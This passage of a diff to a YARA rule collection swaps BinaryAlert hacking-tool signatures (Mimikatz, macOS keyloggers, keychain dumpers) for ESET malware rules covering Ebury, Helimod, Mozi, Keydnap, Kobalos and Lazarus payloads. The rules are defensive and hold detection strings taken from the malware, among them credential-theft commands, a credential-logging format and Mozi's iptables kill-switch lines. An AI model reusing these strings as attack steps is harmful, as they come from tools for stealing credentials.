+		date = "2023-08-01"
+		modified = "2024-04-29"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/windigo/ebury.yar#L56-L97"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		hash = "e7debd6e453192ad8376db5bab03ed0d87566591"
+		logic_hash = "41908951069a472d7528f2f228f3681f008d16a0436e341d339909efc4933e66"
 		score = 75
 		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = 1
 
 	strings:
-		$a1 = "Parsing initial NTLM auth..." wide ascii
-		$a2 = "Got PROPFIND for /test..." wide ascii
-		$a3 = "Starting NBNS spoofer..." wide ascii
-		$a4 = "Exhausting UDP source ports so DNS lookups will fail..." wide ascii
-		$a5 = "Usage: potato.exe -ip" wide ascii
+		$64 = {
+            48 69 ( 9C 24 ?? ?? ?? ?? | 5C 24 ?? | D2) 6D 4E C6 41 //  imul    rbx, [rsp+_buf], 41C64E6Dh
+            8B (0C 16 | 34 07)                      //  mov     ecx, [rsi+rdx]
+            48 81 C? 39 30 00 00                    //  add     rbx, 12345
+            ( 31 D? |                               //  xor     ecx, ebx
+              31 D? 48 89 9C 24 ?? ?? ?? ?? |       //  mov     [rsp+_buf], rbx
+              31 D? 48 89 5C 24 ?? )                //  ^ optional
+            89 (0C 10 | 34 01)                      //  mov     [rax+rdx], ecx
+            48 83 C? 04                             //  add     rdx, 4
+            48 (81 FA | 3D ) ?? ?? ?? ??            //  cmp     rdx, _size
+            75 D?                                   //  jnz     short _begin
+        }
+		$32 = {
+            69 C9 6D 4E C6 41      // imul    ecx, 41C64E6Dh
+            8B B4 1A ?? ?? ?? ??   // mov     esi, [edx+ebx+_data]
+            81 C1 39 30 00 00      // add     ecx, 12345
+            31 CE                  // xor     esi, ecx
+            89 34 10               // mov     [eax+edx], esi
+            83 C2 04               // add     edx, 4
+            81 FA ?? ?? ?? ??      // cmp     edx, _size
+            75 DD                  // jnz     short loc_69A5
+        }
 
 	condition:
-		any of ($a*)
+		any of them
 }
-rule BINARYALERT_Hacktool_Windows_Rdp_Cmd_Delivery
+import "elf"
+
+rule ESET_Helimodproxy
 {
 	meta:
-		description = "Delivers a text payload via RDP (rubber ducky)"
-		author = "@fusionrace"
-		id = "8d035721-34ee-566f-8851-1c9501de2704"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/nopernik/mytools/blob/master/rdp-cmd-delivery.sh"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_rdp_cmd_delivery.yara#L1-L14"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "98bc02bb651fba069828b5960ee47542828f0d530e5e280b15abb0573b8e0168"
+		description = "HelimodProxy malicious Apache module"
+		author = "ESET, spol. s r.o."
+		id = "8c05bd0b-9645-580c-ac80-58e45b2a8884"
+		date = "2024-04-27"
+		modified = "2024-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/windigo/helimod.yar#L32-L54"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		hash = "e39667aa137e315bc26eaef791ccab52938fd809"
+		logic_hash = "9e3d57add1042eff41b42f0c8d46ed37af4092d5af4d4b2088b07992a4649bc2"
 		score = 75
 		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = 1
 
 	strings:
-		$s1 = "Usage: rdp-cmd-delivery.sh OPTIONS" ascii wide
-		$s2 = "[--tofile 'c:\\test.txt' local.ps1 #will copy contents of local.ps1 to c:\\test.txt" ascii wide
-		$s3 = "-cmdfile local.bat                #will execute everything from local.bat" ascii wide
-		$s4 = "To deliver powershell payload, use '--cmdfile script.ps1' but inside powershell console" ascii wide
+		$1 = "secret\x00%s:%u"
+		$2 = "/%s/%s/%s%s"
+		$3 = "ad\x00pmt"
+		$4 = "mod_dir.c"
+		$5 = "pmtad"
 
 	condition:
-		any of them
+		ESET_Apachemodule_PRIVATE and ($1 or ($2 and $3) or ($4 and $5))
 }
-rule BINARYALERT_Hacktool_Windows_Mimikatz_Errors
+import "elf"
+
+rule ESET_Helimodredirect
 {
 	meta:
-		description = "Mimikatz credential dump tool: Error messages"
-		author = "@fusionrace"
-		id = "94d50739-fc84-5bfe-821d-5e2851f681e3"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/gentilkiwi/mimikatz"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_errors.yara#L1-L16"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "60fb94b9465b19af3b2df1b26490d4ac19a31a39f2f8c52f1059d37843769b36"
+		description = "HelimodRedirect malicious Apache module"
+		author = "ESET, spol. s r.o."
+		id = "d8fe674d-8895-5501-b2e3-f74c386e10f0"
+		date = "2024-04-27"
+		modified = "2024-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/windigo/helimod.yar#L56-L79"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		hash = "e39667aa137e315bc26eaef791ccab52938fd809"
+		logic_hash = "1a85cae7ee354e5d96e88781b4e0a49757016d8b64dfb80c07a13b36bf9091e2"
 		score = 75
 		quality = 80
 		tags = ""
-		md5_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669"
-		md5_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c"
+		license = "BSD 2-Clause"
+		version = 1
 
 	strings:
-		$s1 = "[ERROR] [LSA] Symbols" fullword ascii wide
-		$s2 = "[ERROR] [CRYPTO] Acquire keys" fullword ascii wide
-		$s3 = "[ERROR] [CRYPTO] Symbols" fullword ascii wide
-		$s4 = "[ERROR] [CRYPTO] Init" fullword ascii wide
+		$h1 = "secret\x00%s:%"
+		$h2 = "$!%#!$"
+		$h3 = "mod_security2.c"
+		$r1 = "%s?DOM=%s&URI=%s"
+		$r2 = "REDIRECT_URL"
 
 	condition:
-		all of them
+		ESET_Apachemodule_PRIVATE and any of ($h*) and any of ($r*)
 }
-rule BINARYALERT_Hacktool_Windows_Moyix_Creddump
+import "elf"
+
+rule ESET_Helimodsteal
 {
 	meta:
-		description = "creddump is a python tool to extract credentials and secrets from Windows registry hives."
-		author = "@mimeframe"
-		id = "46df781a-abab-5593-99f9-1a6b993904cb"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/moyix/creddump"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_moyix_creddump.yara#L1-L16"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "3f2f4c5069fcb3d3b1d293a471bcf9489f058f27cd385885ab2bb4f719a3bd9d"
+		description = "HelimodSteal malicious Apache module"
+		author = "ESET, spol. s r.o."
+		id = "7b080f21-d6e3-5dda-bfd9-fb9d82fbb98e"
+		date = "2024-04-27"
+		modified = "2024-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/windigo/helimod.yar#L81-L105"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		hash = "e39667aa137e315bc26eaef791ccab52938fd809"
+		logic_hash = "9c0a5842dc986fec667fc7d7ad9d0c63b89b4a5ec87c9c9b72574ca5b15df928"
 		score = 75
 		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = 2
 
 	strings:
-		$a1 = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%" wide ascii
-		$a2 = "0123456789012345678901234567890123456789" wide ascii
-		$a3 = "NTPASSWORD" wide ascii
-		$a4 = "LMPASSWORD" wide ascii
-		$a5 = "aad3b435b51404eeaad3b435b51404ee" wide ascii
-		$a6 = "31d6cfe0d16ae931b73c59d7e0c089c0" wide ascii
+		$h1 = "secret\x00%s:%"
+		$h2 = "$!%#!$"
+		$h3 = "mod_security2.c"
+		$s1 = "p0sT5n1F3r"
+		$s2 = "ENGINE_ON"
+		$s3 = "POST /"
 
 	condition:
-		all of ($a*)
+		ESET_Apachemodule_PRIVATE and any of ($h*) and any of ($s*)
 }
-rule BINARYALERT_Hacktool_Macos_Keylogger_Caseyscarborough
+rule ESET_Mozi_Killswitch : FILE
 {
 	meta:
-		description = "A simple and easy to use keylogger for macOS."
-		author = "@mimeframe"
-		id = "82d9ff7e-b475-5888-82e1-f65c286a9cde"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/caseyscarborough/keylogger"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_caseyscarborough.yara#L1-L14"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "d97fbfefe027a26ec998743b811734e62423e8a5ba4e11d516dcfc9e4831d296"
+		description = "Mozi botnet kill switch"
+		author = "Ivan Besina"
+		id = "e3d34ae0-de06-5ff4-b44b-44d264b6dd29"
+		date = "2023-09-29"
+		modified = "2023-10-31"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/mozi/mozi.yar#L32-L51"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "90eaed2f7f5595b145b2678a46ef6179082192215369fa9235024b0ce1574a49"
 		score = 75
 		quality = 80
-		tags = ""
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "/var/log/keystroke.log" wide ascii
-		$a2 = "ERROR: Unable to create event tap." wide ascii
-		$a3 = "Keylogging has begun." wide ascii
-		$a4 = "ERROR: Unable to open log file. Ensure that you have the proper permissions." wide ascii
+		$iptables1 = "iptables -I INPUT  -p tcp --destination-port 7547 -j DROP"
+		$iptables2 = "iptables -I OUTPUT -p tcp --sport 30005 -j DROP"
+		$haha = "/haha"
+		$networks = "/usr/networks"
 
 	condition:
-		2 of ($a*)
+		all of them and filesize <500KB
 }
-rule BINARYALERT_Hacktool_Macos_Keylogger_Giacomolaw
+rule ESET_Dino
 {
 	meta:
-		description = "A simple keylogger for macOS."
-		author = "@mimeframe"
-		id = "81fcf792-a0a9-5b97-a71c-4c517a7b910c"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/GiacomoLaw/Keylogger"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_giacomolaw.yara#L1-L13"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "45ca583c07b8593ed716306ae6f80eef1c3fc5652aed739454fa8007fae929b4"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "77d0a039-f60c-59ea-bad6-5b4b630007bb"
+		date = "2015-07-14"
+		modified = "2015-08-17"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/animalfarm/animalfarm.yar#L73-L96"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "898e527eb8b05050135dee7cbe974100710a1a3a6a5cb8eb03563ee1c0aca01f"
+		score = 75
+		quality = 80
+		tags = ""
+		Author = "Joan Calvet"
+		Description = "Dino backdoor"
+		Contact = "github@eset.com"
+		License = "BSD 2-Clause"
+
+	strings:
+		$ = "PsmIsANiceM0du1eWith0SugarInsideA"
+		$ = "destroyPSM"
+		$ = "FM_PENDING_DOWN_%X"
+		$ = "%s was canceled after %d try (reached MaxTry parameter)"
+		$ = "you forgot value name"
+		$ = "wakeup successfully scheduled in %d minutes"
+		$ = "BD started at %s"
+		$ = "decyphering failed on bd"
+
+	condition:
+		any of them
+}
+rule ESET_Prikormka
+{
+	meta:
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "6073aa34-d385-5ae8-b97d-9b3d61015aae"
+		date = "2016-05-10"
+		modified = "2019-08-28"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/groundbait/prikormka.yar#L130-L141"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "f64195e680fbaefedba248aa15b37ed30ba72f42958cc48963a140165e951bff"
 		score = 75
 		quality = 80
 		tags = ""
-
-	strings:
-		$a1 = "ERROR: Unable to access keystroke log file. Please make sure you have the correct permissions." wide ascii
-		$a2 = "ERROR: Unable to create event tap." wide ascii
-		$a3 = "Keystrokes are now being recorded" wide ascii
+		Author = "Anton Cherepanov"
+		Description = "Operation Groundbait"
+		Contact = "threatintel@eset.com"
+		License = "BSD 2-Clause"
 
 	condition:
-		2 of ($a*)
+		ESET_Prikormkadropper_PRIVATE or ESET_Prikormkamodule_PRIVATE or ESET_Prikormkaearlyversion_PRIVATE
 }
-rule BINARYALERT_Hacktool_Macos_Juuso_Keychaindump
+rule ESET_Keydnap_Downloader
 {
 	meta:
-		description = "For reading OS X keychain passwords as root."
-		author = "@mimeframe"
-		id = "10ee6c24-db35-5178-9a40-92f5231948aa"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/juuso/keychaindump"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_juuso_keychaindump.yara#L1-L16"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "dd2fb6249fe4b7381e734ea3a308158159f7e79b39ba5c970241dcd66436d669"
+		description = "OSX/Keydnap Downloader"
+		author = "Marc-Etienne M.Léveillé"
+		id = "2b21007a-b143-5538-8777-ba35448d00aa"
+		date = "2016-07-06"
+		modified = "2016-07-06"
+		reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/keydnap/keydnap.yar#L33-L49"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "71c8885193a92fa9c71055c37e629a54d50070cf6820b9216a824ecc4db2ce3c"
 		score = 75
 		quality = 80
 		tags = ""
+		version = "1"
 
 	strings:
-		$a1 = "[-] Too many candidate keys to fit in memory" wide ascii
-		$a2 = "[-] Could not allocate memory for key search" wide ascii
-		$a3 = "[-] Too many credentials to fit in memory" wide ascii
-		$a4 = "[-] The target file is not a keychain file" wide ascii
-		$a5 = "[-] Could not find the securityd process" wide ascii
-		$a6 = "[-] No root privileges, please run with sudo" wide ascii
+		$ = "icloudsyncd"
+		$ = "killall Terminal"
+		$ = "open %s"
 
 	condition:
-		4 of ($a*)
+		2 of them
 }
-rule BINARYALERT_Hacktool_Macos_Keylogger_Dannvix
+rule ESET_Keydnap_Backdoor_Packer
 {
 	meta:
-		description = "A simple keylogger for macOS."
-		author = "@mimeframe"
-		id = "598d6dbc-540d-5f96-8bd1-c15e6194012e"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/dannvix/keylogger-osx"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_dannvix.yara#L1-L13"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "95d0540b1308caf3e7287c70a759954650220192800c0154d225bcb01ed55766"
+		description = "OSX/Keydnap packed backdoor"
+		author = "Marc-Etienne M.Léveillé"
+		id = "f29ad5af-bc86-5764-9451-5a8363788c4e"
+		date = "2016-07-06"
+		modified = "2016-07-06"
+		reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/keydnap/keydnap.yar#L51-L67"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "b1740bf38376be81d3b42306c2ce81f578c0b5c9db804f063836bf98f57ed147"
 		score = 75
 		quality = 80
 		tags = ""
+		version = "1"
 
 	strings:
-		$a1 = "/var/log/keystroke.log" wide ascii
-		$a2 = "<forward-delete>" wide ascii
-		$a3 = "<unknown>" wide ascii
+		$upx_string = "This file is packed with the UPX"
+		$packer_magic = "ASS7"
+		$upx_magic = "UPX!"
 
 	condition:
-		all of ($a*)
+		$upx_string and $packer_magic and not $upx_magic
 }
-rule BINARYALERT_Hacktool_Macos_N0Fate_Chainbreaker
+rule ESET_Keydnap_Backdoor
 {
 	meta:
-		description = "chainbreaker can extract user credential in a Keychain file with Master Key or user password in forensically sound manner."
-		author = "@mimeframe"
-		id = "565d31c6-8d80-534d-8acc-c01d7af4f8b3"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/n0fate/chainbreaker"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_n0fate_chainbreaker.yara#L1-L13"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "7aedf952756ed2375ff171329179f14a8cdc37ada69e1f003def1f1de5bc1691"
+		description = "Unpacked OSX/Keydnap backdoor"
+		author = "Marc-Etienne M.Léveillé"
+		id = "099c1796-6237-5ec1-ba25-cd5feca79865"
+		date = "2016-07-06"
+		modified = "2016-07-06"
+		reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/keydnap/keydnap.yar#L69-L86"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "fa209577a562ef9088d3ad3df3fbc0edda96f09d19177842f0ddea42c658f530"
 		score = 75
 		quality = 80
 		tags = ""
+		version = "1"
 
 	strings:
-		$a1 = "[!] Private Key Table is not available" wide ascii
-		$a2 = "[!] Public Key Table is not available" wide ascii
-		$a3 = "[-] Decrypted Private Key" wide ascii
+		$ = "api/osx/get_task"
+		$ = "api/osx/cmd_executed"
+		$ = "Loader-"
+		$ = "u2RLhh+!LGd9p8!ZtuKcN"
+		$ = "com.apple.iCloud.sync.daemon"
 
 	condition:
-		all of ($a*)
+		2 of them
 }
-rule BINARYALERT_Hacktool_Macos_Keylogger_Eldeveloper_Keystats
+import "pe"
+
+rule ESET_Richheaders_Lazarus_Nukesped_Iconicpayloads_3CX_Q12023
 {
 	meta:
-		description = "A simple keylogger for macOS."
-		author = "@mimeframe"
-		id = "7fddb502-ae2d-5e14-95f5-115498fa5926"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/ElDeveloper/keystats"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_eldeveloper_keystats.yara#L1-L13"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "c73f5ca2ba0a1bde7c1f9b96173938e40511e12f875c4d850d6d498c63e89385"
+		description = "Rich Headers-based rule covering the IconicLoader and IconicStealer from the 3CX supply chain incident, and also payloads from the cryptocurrency campaigns from 2022-12"
+		author = "ESET Research"
+		id = "5c815d14-8a3e-5c6a-9dc3-988e0f31c094"
+		date = "2023-03-31"
+		modified = "2023-04-19"
+		reference = "https://github.com/eset/malware-ioc"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/nukesped_lazarus/rich_headers_IconicPayloads_3CX.yar#L6-L23"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		hash = "3b88cda62cdd918b62ef5aa8c5a73a46f176d18b"
+		hash = "cad1120d91b812acafef7175f949dd1b09c6c21a"
+		hash = "5b03294b72c0caa5fb20e7817002c600645eb475"
+		hash = "7491bd61ed15298ce5ee5ffd01c8c82a2cdb40ec"
+		logic_hash = "f11a1db798bfcc534982bdf6afaae154b095b6a1e0896e75e2791c01e51a1c16"
 		score = 75
 		quality = 80
 		tags = ""
 
-	strings:
-		$a1 = "YVBKeyLoggerPerishedNotification" wide ascii
-		$a2 = "YVBKeyLoggerPerishedByLackOfResponseNotification" wide ascii
-		$a3 = "YVBKeyLoggerPerishedByUserChangeNotification" wide ascii
-
 	condition:
-		2 of ($a*)
+		pe.rich_signature.toolid(259,30818)==9 and pe.rich_signature.toolid(256,31329)==1 and pe.rich_signature.toolid(261,30818)>=30 and pe.rich_signature.toolid(261,30818)<=38 and pe.rich_signature.toolid(261,29395)>=134 and pe.rich_signature.toolid(261,29395)<=164 and pe.rich_signature.toolid(257,29395)>=6 and pe.rich_signature.toolid(257,29395)<=14
 }
-rule BINARYALERT_Hacktool_Macos_Exploit_Tpwn
+rule ESET_Linux_Rakos
 {
 	meta:
-		description = "tpwn exploits a null pointer dereference in XNU to escalate privileges to root."
-		author = "@mimeframe"
-		id = "b69c4e1c-554e-5553-9b21-6cdf33aff24e"
-		date = "2017-09-14"
-		modified = "2017-09-14"
-		reference = "https://www.rapid7.com/db/modules/exploit/osx/local/tpwn"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_exploit_tpwn.yara#L1-L14"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "f864d8c137746edd50526b1d3d95a7335f776cf1473d2d2ea28856dbc515dd9f"
+		description = "Linux/Rakos.A executable"
+		author = "Peter Kálnai"
+		id = "3c15401a-22c1-59e2-a979-1f9a6a990ae0"
+		date = "2016-12-13"
+		modified = "2016-12-19"
+		reference = "http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/rakos/rakos.yar#L33-L53"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "79a02ada56bf75c5f178b58822eb905977cace3483453ea8cf4dfc32f6b6c30d"
 		score = 75
 		quality = 80
 		tags = ""
+		version = "1"
+		contact = "threatintel@eset.com"
+		license = "BSD 2-Clause"
 
 	strings:
-		$a1 = "[-] Couldn't find a ROP gadget, aborting." wide ascii
-		$a2 = "leaked kaslr slide," wide ascii
-		$a3 = "didn't get root, but this system is vulnerable." wide ascii
-		$a4 = "Escalating privileges! -qwertyoruiop" wide ascii
+		$ = "upgrade/vars.yaml"
+		$ = "MUTTER"
+		$ = "/tmp/.javaxxx"
+		$ = "uckmydi"
 
 	condition:
-		2 of ($a*)
+		3 of them
 }
-rule BINARYALERT_Hacktool_Macos_Manwhoami_Mmetokendecrypt
+rule ESET_Kobalos
 {
 	meta:
-		description = "This program decrypts / extracts all authorization tokens on macOS / OS X / OSX."
-		author = "@mimeframe"
-		id = "2dc01ff3-4c4a-548d-b2f0-b36897ad6a5c"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/manwhoami/MMeTokenDecrypt"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_manwhoami_mmetokendecrypt.yara#L1-L15"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "ccfedfbff0c6eefe41e80fe488d4cae928a33e7b86019c6ec54d1c9005b35147"
+		description = "Kobalos malware"
+		author = "Marc-Etienne M.Léveillé"
+		id = "cdffbe3d-c19d-53a8-9051-48affae00c8a"
+		date = "2020-11-02"
+		modified = "2021-02-01"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/kobalos/kobalos.yar#L32-L56"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "9161d22f9fbb1700dc3121e32104240e34512cb280aaf950aec61513f89061ef"
 		score = 75
 		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "security find-generic-password -ws 'iCloud'" wide ascii
-		$a2 = "ERROR getting iCloud Decryption Key" wide ascii
-		$a3 = "Could not find MMeTokenFile. You can specify the file manually." wide ascii
-		$a4 = "Decrypting token plist ->" wide ascii
-		$a5 = "Successfully decrypted token plist!" wide ascii
+		$encrypted_strings_sizes = {
+            05 00 00 00 09 00 00 00  04 00 00 00 06 00 00 00
+            08 00 00 00 08 00 00 00  02 00 00 00 02 00 00 00
+            01 00 00 00 01 00 00 00  05 00 00 00 07 00 00 00
+            05 00 00 00 05 00 00 00  05 00 00 00 0A 00 00 00
+        }
+		$password_md5_digest = { 3ADD48192654BD558A4A4CED9C255C4C }
+		$rsa_512_mod_header = { 10 11 02 00 09 02 00 }
+		$strings_rc4_key = { AE0E05090F3AC2B50B1BC6E91D2FE3CE }
 
 	condition:
-		3 of ($a*)
+		any of them
 }
-rule BINARYALERT_Hacktool_Macos_Keylogger_Roxlu_Ofxkeylogger
+rule ESET_Kobalos_Ssh_Credential_Stealer
 {
 	meta:
-		description = "ofxKeylogger keylogger."
-		author = "@mimeframe"
-		id = "c0e00b76-9623-5709-b64b-0afe006eba60"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/roxlu/ofxKeylogger"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_roxlu_ofxkeylogger.yara#L1-L13"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "6e2579a10327cc8f1799848b3bcbcd95733a31098faeb849df6ebf99f1ffe808"
+		description = "Kobalos SSH credential stealer seen in OpenSSH client"
+		author = "Marc-Etienne M.Léveillé"
+		id = "b1fc5163-de48-57fc-8ae7-1f2be6c64d8a"
+		date = "2020-11-02"
+		modified = "2021-02-01"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/kobalos/kobalos.yar#L58-L73"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "be238f5c2cc976a5638584a8c0fc580f2076735aadfe374e8d4162ba723bce10"
 		score = 75
 		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "keylogger_init" wide ascii
-		$a2 = "install_keylogger_hook function not found in dll." wide ascii
-		$a3 = "keylogger_set_callback" wide ascii
+		$ = "user: %.128s host: %.128s port %05d user: %.128s password: %.128s"
 
 	condition:
-		all of ($a*)
+		any of them
 }
-rule BINARYALERT_Hacktool_Macos_Manwhoami_Osxchromedecrypt
+import "pe"
+
+rule ESET_Apt_Windows_Invisimole_Logs : FILE
 {
 	meta:
-		description = "Decrypt Google Chrome / Chromium passwords and credit cards on macOS / OS X."
-		author = "@mimeframe"
-		id = "874cc999-d9c2-5017-83ec-e4be8a659476"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/manwhoami/OSXChromeDecrypt"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_manwhoami_osxchromedecrypt.yara#L1-L16"
